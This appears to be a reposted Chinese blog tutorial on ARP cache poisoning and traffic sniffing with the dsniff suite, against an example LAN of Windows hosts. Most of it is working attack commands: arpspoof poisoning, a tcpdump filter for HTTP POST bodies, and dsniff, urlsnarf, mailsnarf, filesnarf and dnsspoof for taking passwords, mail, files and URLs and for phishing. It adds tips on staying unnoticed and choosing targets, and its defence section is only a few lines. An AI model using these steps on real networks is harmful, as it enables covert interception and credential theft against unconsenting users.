熟练使用 dsniff套件 进行嗅探

2018 年 8 月 30 日 黑白之道


0x01 嗅探之前,我们有必要先来大致回顾下arp和rarp的基本通信流程,假设现在交换机中的mac地址表中暂时还没有任何对应关系A机器想和B机器进行通信


arp  地址解析协议,即通过ip找对应的mac:


首先,A会先发arp请求[广播],向同一交换机下的所有其它机器询问,谁有B的这个ip


当B收到这条消息时,就会再用arp响应给A,说,我有这个ip,我的mac是多少...


当完成第一次正常通信之后就会在交换机的mac地址表中记录下这层指向对应关系


后续就直接按照mac地址表中已有的指向来通信,而不再用广播询问,这就是一次极为常规的arp通信过程 


rarp  反向地址解析协议,即通过mac找对应的ip:


理解完arp以后,我们再来看rarp,同样是先发请求,这个请求简单来讲也是一个广播,不过,在此广播中声明了自己的mac


并请求任何收到此请求的rarp服务器分配一个ip,当同网段的rarp服务器收到此请求后会检查自己的rarp列表找到该mac对应的ip


如果此mac的ip被找到,就直接响应对方使用,如果没找到,最后就会提示初始化失败 


0x02 关于arp欺骗最核心的细节


1、假设同一交换机下有三台机器,分别为 A , B , C,正常情况下B和C的通信数据,A是不可能看到的

2、但在ARP缓存表机制中存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己曾经是否向对方主机发送过ARP请求

3、就直接就把这个应答包中的IP与MAC地址的对应关系更新到自己本地的ARP缓存表中,这时就直接导致原有IP的对应关系被恶意替换

4、通俗点儿理解,也就是说,我强制刷新了对方的arp缓存对应关系,把原来ip的指向现在换成了我自己的地址

5、 导致现在B和C的通信都要先经过A,那么,我们在A上自然就可以顺利的看到C和B之间的所有明文通信数据,即实现了所谓的监听 


0x03 简单的arp欺骗实战利用演示


首先,开启本地的路由转发功能,让所有被嗅探的目标都通过你的机器来正常上网,所以必须在你本机开启转发,不然会导致目标无法上网,也很可能被人察觉


永久开启转发:

# vi /etc/sysctl.conf

net.ipv4.ip_forward=1

# sysctl -p


临时开启转发:

# echo 1 > /proc/sys/net/ipv4/ip_forward


此次用于实验的环境大致如下


centos6.8 x86_64 ip: 192.168.3.4 eth2  mac: 00:0C:29:C4:A0:95   嗅探者的机器 dsniff


win7 x64   ip: 192.168.3.8       mac: 00-0C-29-3B-BF-A8   被嗅探的机器


win 2008R2   ip: 192.168.3.23      mac: 00-0C-29-6C-55-D2   上面已经事先配置好了各种服务


网关 ip: 192.168.3.1       mac: dc-ee-06-96-b7-b7


这次,我们直接利用epel源来安装dsniff,最好别自己用源码装,不然你会发现这就是个死循环,编译过程中的问题会非常的多,而且解决起来也比较周折,确实没必要在那上面浪费太多时间


# yum install epel-release -y

# yum install dsniff -y


arpspoof 的两种缓存毒化方式,实战中尽量先让它跑一会儿,感觉毒化的差不多了,再开始嗅探数据


在目标机器上观察毒化前的网关mac是多少



单向欺骗,实战中最好用单向欺骗,相对不易被察觉


# arpspoof -i eth2 -t 192.168.3.8 192.168.3.1 &>/dev/null

# arpspoof -i eth2 -t 192.168.3.1 192.168.3.4 &>/dev/null

# killall arpspoof 停止arpspoof,最好连续多执行几次,执行到提示没有该进程为止




双向欺骗,被嗅探的机器是无法正常上网的,不建议用


# arpspoof -i 网卡接口 -t 目标机器ip  [-r 用来捕获两个方向的数据,默认是单向的] 网关ip

# arpspoof -i eth2 -t 192.168.3.8 -r 192.168.3.1



再次,回到被嗅探的目标机器上观察毒化后的网关mac变成了多少



利用各类嗅探工具截获流过本地的所有明文密码,图片数据,这里不一定非要用自带的dsniff,driftnet,比如,tcpdump,ettercap,各类py脚本…也都是非常不错的选择,反正别人机器上的数据都已经流过你的机器了,至于怎么截获,方法就非常多了,注意网卡不要抓错了,一定抓那个正在用于嗅探的网卡


# tcpdump -i eth2 -s 0 -nnA 'tcp dst port 80 and host 192.168.3.8 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'



# dsniff -i eth2

# driftnet -i eth0 



尝试利用urlsnarf截获目标的http url访问记录,主要是想看看目标内网还有没有其它的web之类的,抓到密码以后好针对性的下手,如果内容太多看着比较乱,可以使用-v选项指定过滤正则


# urlsnarf -i eth2



尝试利用dnsspoof进行简单的dns欺骗,可以适当的用它来钓鱼挂马什么的


# dnsspoof -i eth2 -f /etc/hosts





尝试利用 filesnarf 抓取往nfs共享目录中保存的文件,意思就是只要被嗅探的机器往nfs server共享目录存文件,也会自动复制到本地一份,速度可能会稍慢,比较简单,这里就不演示了


# filesnarf -i eth2


尝试利用mailsnarf嗅探各类邮件数据,同样它也支持正则输出


mailsnarf -i eth2


关于dsniff套件中的其它小工具这里就不一一说了,使用都非常简单,大家可以自己在实战中慢慢体会


0x05 关于arp防御的问题


绑定网关ip与mac

绑定本机Arp缓存表中网关的Mac IP

上靠谱的arp防火墙

...


后话:


迫不得已要嗅的时候,最好先仔细挑好目标机器,有针对性的嗅,切记千万不要一上来就全网段大规模的嗅,如果对方网络比较大,你的网卡很可能会撑不住,极易把别人搞掉线,另外,这样干,动静儿也非常大,一般拿到有用的东西,立马停掉即可,嗅的时间最好也不要太长,另外,关于嗅https明文密码和其它各类嗅探工具的使用,我们后续会慢慢再说,其实,说心里话,防护稍微好一点的内网,基本是没什么太多的机会给你嗅的,不过C段的时候还是可以试试的,^_^ 待续…


文章出处:klion's blog

原文链接:https://klionsec.github.io/2017/10/23/dsniff/

你可能喜欢

新型短信嗅探盗刷银行卡作案,了解一下。

Sniffly2 - 使用HSTS嗅探浏览器历史

对某大学主站的典型嗅探入侵

登录查看更多
0

相关内容

ARP协议(Address Resolution Protocol),或称地址解析协议。
[ICML-Google]先宽后窄:对深度薄网络的有效训练
专知会员服务
33+阅读 · 2020年7月5日
【2020新书】实战R语言4,323页pdf
专知会员服务
98+阅读 · 2020年7月1日
【实用书】学习用Python编写代码进行数据分析,103页pdf
专知会员服务
190+阅读 · 2020年6月29日
【2020新书】使用高级C# 提升你的编程技能,412页pdf
专知会员服务
56+阅读 · 2020年6月26日
【ICML2020】小样本目标检测
专知会员服务
90+阅读 · 2020年6月2日
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
115+阅读 · 2020年5月10日
使用 C# 和 Blazor 进行全栈开发
DotNet
6+阅读 · 2019年4月15日
百度开源项目OpenRASP快速上手指南
黑客技术与网络安全
5+阅读 · 2019年2月12日
逆向 | C++ 加壳程序的编写思路
计算机与网络安全
9+阅读 · 2019年1月1日
一天精通无人中级篇:遥控器协议 S-BUS
无人机
48+阅读 · 2018年12月20日
Android P正式发布,你需要尽快做适配了
前端之巅
3+阅读 · 2018年8月7日
Python3.7中一种懒加载的方式
Python程序员
3+阅读 · 2018年4月27日
教你用Python来玩跳一跳
七月在线实验室
6+阅读 · 2018年1月2日
Attend More Times for Image Captioning
Arxiv
6+阅读 · 2018年12月8日
Arxiv
19+阅读 · 2018年10月25日
Arxiv
3+阅读 · 2018年2月22日
Arxiv
6+阅读 · 2018年1月29日
Arxiv
3+阅读 · 2017年7月6日
VIP会员
相关资讯
使用 C# 和 Blazor 进行全栈开发
DotNet
6+阅读 · 2019年4月15日
百度开源项目OpenRASP快速上手指南
黑客技术与网络安全
5+阅读 · 2019年2月12日
逆向 | C++ 加壳程序的编写思路
计算机与网络安全
9+阅读 · 2019年1月1日
一天精通无人中级篇:遥控器协议 S-BUS
无人机
48+阅读 · 2018年12月20日
Android P正式发布,你需要尽快做适配了
前端之巅
3+阅读 · 2018年8月7日
Python3.7中一种懒加载的方式
Python程序员
3+阅读 · 2018年4月27日
教你用Python来玩跳一跳
七月在线实验室
6+阅读 · 2018年1月2日
Top
微信扫码咨询专知VIP会员